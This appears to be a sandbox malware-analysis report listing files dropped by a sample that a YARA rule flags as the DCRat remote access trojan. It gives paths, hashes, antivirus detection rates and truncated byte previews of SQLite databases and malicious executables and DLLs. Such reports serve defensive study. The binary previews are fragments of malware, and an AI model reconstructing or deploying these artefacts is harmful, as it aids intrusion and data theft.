                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\xvO7yrpVwM

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\yAUeIyy3cn

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\yGOAk9afDd

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):126976
                                                            Entropy (8bit):0.47147045728725767
                                                            Encrypted:false
                                                            SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                            MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                            SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                            SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                            SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\yKTo18PSui

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):126976
                                                            Entropy (8bit):0.47147045728725767
                                                            Encrypted:false
                                                            SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                            MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                            SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                            SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                            SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\yXVytcO2F4

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\ydATnJ8HkB

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5707520969659783
                                                            Encrypted:false
                                                            SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                            SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                            SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                            SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\yggfAyobt1

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\yuNKIzDuXK

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                            Category:dropped
                                                            Size (bytes):159744
                                                            Entropy (8bit):0.7873599747470391
                                                            Encrypted:false
                                                            SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                            MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                            SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                            SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                            SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\z4Ys0ENzcY

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\z5a05oFmiN

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):49152
                                                            Entropy (8bit):0.8180424350137764
                                                            Encrypted:false
                                                            SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                            MD5:349E6EB110E34A08924D92F6B334801D
                                                            SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                            SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                            SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\zC5Uf8nUmJ

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                            Category:dropped
                                                            Size (bytes):28672
                                                            Entropy (8bit):2.5793180405395284
                                                            Encrypted:false
                                                            SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                            MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                            SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                            SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                            SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\zDaaXsAfJW

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):126976
                                                            Entropy (8bit):0.47147045728725767
                                                            Encrypted:false
                                                            SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                            MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                            SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                            SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                            SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\zjHHC7PyHr

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                            Category:dropped
                                                            Size (bytes):28672
                                                            Entropy (8bit):2.5793180405395284
                                                            Encrypted:false
                                                            SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                            MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                            SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                            SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                            SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):2097664
                                                            Entropy (8bit):4.753108315672458
                                                            Encrypted:false
                                                            SSDEEP:24576:3Roj0ESCEoHiCgf2m34oscKdgEA3yoyNIduIIPBcfBwe0ckBt61+:Boj0ESsiC5eHDINazB5kB
                                                            MD5:FC574CEF0F536CFEF8E2466564F3E536
                                                            SHA1:6A02D7165FB7781DEFD87D77A56BF876F0DAC14B
                                                            SHA-256:782AB991F1470F4202CC770D1ED60E94E346DC0C30B238241CBCAA83A7CF8642
                                                            SHA-512:F894F76B4DD30ED43A6F5BB8BE9990E95800ACA1B20C655A6B4A66ABFB98808713D7317317D4D12FD5D85647D2E7385F3059583A0280D3E16BD920B0F14EAC1F
                                                            Malicious:true
                                                            Yara Hits:
                                                            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe, Author: Joe Security
                                                            Antivirus:
                                                            • Antivirus: Avira, Detection: 100%
                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                            • Antivirus: Virustotal, Detection: 63%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."................... .. ... ...@.. .......................` .....r" ...@................................... .W.... .p....................@ ...................................................... ............... ..H............text...4.... ...................... ..`.rsrc...p.... .....................@..@.reloc.......@ ....... .............@..B.................. .....H.......T....G..........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                            C:\Users\user\AppData\Local\ca9c4705370fcf

                                                            Download File
                                                            Process:C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe
                                                            File Type:ASCII text, with no line terminators
                                                            Category:dropped
                                                            Size (bytes):293
                                                            Entropy (8bit):5.754787191907353
                                                            Encrypted:false
                                                            SSDEEP:6:W0SxlvdzkNTZSfDE0fXItIw+PDC07STOdwjcaAg9:zSfJwTYfDdXIIhDrYA+As
                                                            MD5:CEF0D00D9EFBE11C04D34E3688BCC848
                                                            SHA1:AA977A6FFE96EF60445B62E0740A6994DBDCDFF5
                                                            SHA-256:4E01F22D570F3554C276A5490C25087B583DADACC169338772A842B78E47DC21
                                                            SHA-512:45A765262446DCFD4F3FA75CF8A1D5FFE55F84CE4EC28766BD0E14043B299503B80C586609CC3DB938B32763B3BE69FBE5D4E40EB076DD340565003E928B99CD
                                                            Malicious:false
                                                            Preview:s4Qyxf4RCIqzQuWK0j1BRc5jYtLGUumeAc0ZYbu3EnnUpvQBxf9iEyAQ9rZDUy6SfLyy37wZz76oyk3mdJSzuEZMcjZrBqjPrVyd6bH0tjtG1VbYxwkKgGhbwmWUhEXIYq7dvZqBBcGLUSUGIB3OGYtkyXrUFxSoMlsLY7mYGjIDAWGdRQLgKJC96WpYrV6OJb8tkIrKYfHgPqjbQOCylwdCisPBSOqum43iXW2IiBHoBfuPxNIdTHmX76K13p1KzX3VxBE3V3PkoyBD89OEFMbfRfkbLBO3J7zol

                                                            C:\Users\user\AppData\Roaming\h7xZry2ICs.exe

                                                            Download File
                                                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                            File Type:PE32+ executable (console) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):18944
                                                            Entropy (8bit):5.181595394449682
                                                            Encrypted:false
                                                            SSDEEP:384:abquDyuX3PMD1A77ciNqC/Elsrl+0+/QlDIINvB0WLFW:gquuuHPMDinDY9al+0WQFNvBZ
                                                            MD5:F3EDFF85DE5FD002692D54A04BCB1C09
                                                            SHA1:4C844C5B0EE7CB230C9C28290D079143E00CB216
                                                            SHA-256:CAF29650446DB3842E1C1E8E5E1BAFADAF90FC82C5C37B9E2C75A089B7476131
                                                            SHA-512:531D920E2567F58E8169AFC786637C1A0F7B9B5C27B27B5F0EDDBFC3E00CECD7BEA597E34061D836647C5F8C7757F2FE02952A9793344E21B39DDD4BF7985F9D
                                                            Malicious:false
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            • Antivirus: Virustotal, Detection: 0%, Browse
                                                            Joe Sandbox View:
                                                            • Filename: 1hibLFnCm1.exe, Detection: malicious, Browse
                                                            • Filename: standlose plus.exe, Detection: malicious, Browse
                                                            • Filename: 6lmWSYhtHT.exe, Detection: malicious, Browse
                                                            • Filename: GlhUEXoa8D.exe, Detection: malicious, Browse
                                                            • Filename: 47VcV3MNuc.exe, Detection: malicious, Browse
                                                            • Filename: 8JUrnD9NeY.exe, Detection: malicious, Browse
                                                            • Filename: SL3qvfqA8t.exe, Detection: malicious, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~@..:!o.:!o.:!o.3Y...!o..Jj.;!o..Jl.9!o..Jk.(!o.:!n.z!o..Jn.9!o..Jg.8!o..J..;!o..Jm.;!o.Rich:!o.........PE..d...h.6;.........."......"...*.......(.........@.....................................`....`.......... .......................................H...............p.................. ...`D..T............................@..............(A...............................text...0 .......".................. ..`.rdata..~....@.......&..............@..@.data........`.......<..............@....pdata.......p.......>..............@..@.rsrc................@..............@..@.reloc.. ............H..............@..B........................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe

                                                            Download File
                                                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):2097664
                                                            Entropy (8bit):4.753108315672458
                                                            Encrypted:false
                                                            SSDEEP:24576:3Roj0ESCEoHiCgf2m34oscKdgEA3yoyNIduIIPBcfBwe0ckBt61+:Boj0ESsiC5eHDINazB5kB
                                                            MD5:FC574CEF0F536CFEF8E2466564F3E536
                                                            SHA1:6A02D7165FB7781DEFD87D77A56BF876F0DAC14B
                                                            SHA-256:782AB991F1470F4202CC770D1ED60E94E346DC0C30B238241CBCAA83A7CF8642
                                                            SHA-512:F894F76B4DD30ED43A6F5BB8BE9990E95800ACA1B20C655A6B4A66ABFB98808713D7317317D4D12FD5D85647D2E7385F3059583A0280D3E16BD920B0F14EAC1F
                                                            Malicious:true
                                                            Yara Hits:
                                                            • Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe, Author: Joe Security
                                                            Antivirus:
                                                            • Antivirus: Avira, Detection: 100%
                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                            • Antivirus: Virustotal, Detection: 63%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."................... .. ... ...@.. .......................` .....r" ...@................................... .W.... .p....................@ ...................................................... ............... ..H............text...4.... ...................... ..`.rsrc...p.... .....................@..@.reloc.......@ ....... .............@..B.................. .....H.......T....G..........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                            C:\Users\user\Desktop\AwFlCgTm.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):34816
                                                            Entropy (8bit):5.636032516496583
                                                            Encrypted:false
                                                            SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                            MD5:996BD447A16F0A20F238A611484AFE86
                                                            SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                            SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                            SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                            • Antivirus: ReversingLabs, Detection: 17%
                                                            • Antivirus: Virustotal, Detection: 9%, Browse
                                                            Joe Sandbox View:
                                                            • Filename: HDzcvviCBD.exe, Detection: malicious, Browse
                                                            • Filename: ZB1a1FVGs2.exe, Detection: malicious, Browse
                                                            • Filename: DrgWPOUdyJ.exe, Detection: malicious, Browse
                                                            • Filename: 738eb28a4f17d2292c8fc731a176539d2674fcb1b96d6.exe, Detection: malicious, Browse
                                                            • Filename: Kxjf9xfVcb.exe, Detection: malicious, Browse
                                                            • Filename: hZE4solQRQ.exe, Detection: malicious, Browse
                                                            • Filename: AK4VPeDc0M.exe, Detection: malicious, Browse
                                                            • Filename: BbaXbvOA7D.exe, Detection: malicious, Browse
                                                            • Filename: 4h4b4EWVNU.exe, Detection: malicious, Browse
                                                            • Filename: FMRGt2gV54.exe, Detection: malicious, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\ChlBJuef.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):34304
                                                            Entropy (8bit):5.618776214605176
                                                            Encrypted:false
                                                            SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                            MD5:9B25959D6CD6097C0EF36D2496876249
                                                            SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                            SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                            SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 12%
                                                            • Antivirus: Virustotal, Detection: 4%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                            C:\Users\user\Desktop\DnwbJdUf.log

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):69632
                                                            Entropy (8bit):5.932541123129161
                                                            Encrypted:false
                                                            SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                            MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                            SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                            SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                            SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: Avira, Detection: 100%
                                                            • Antivirus: ReversingLabs, Detection: 17%
                                                            • Antivirus: Virustotal, Detection: 22%, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

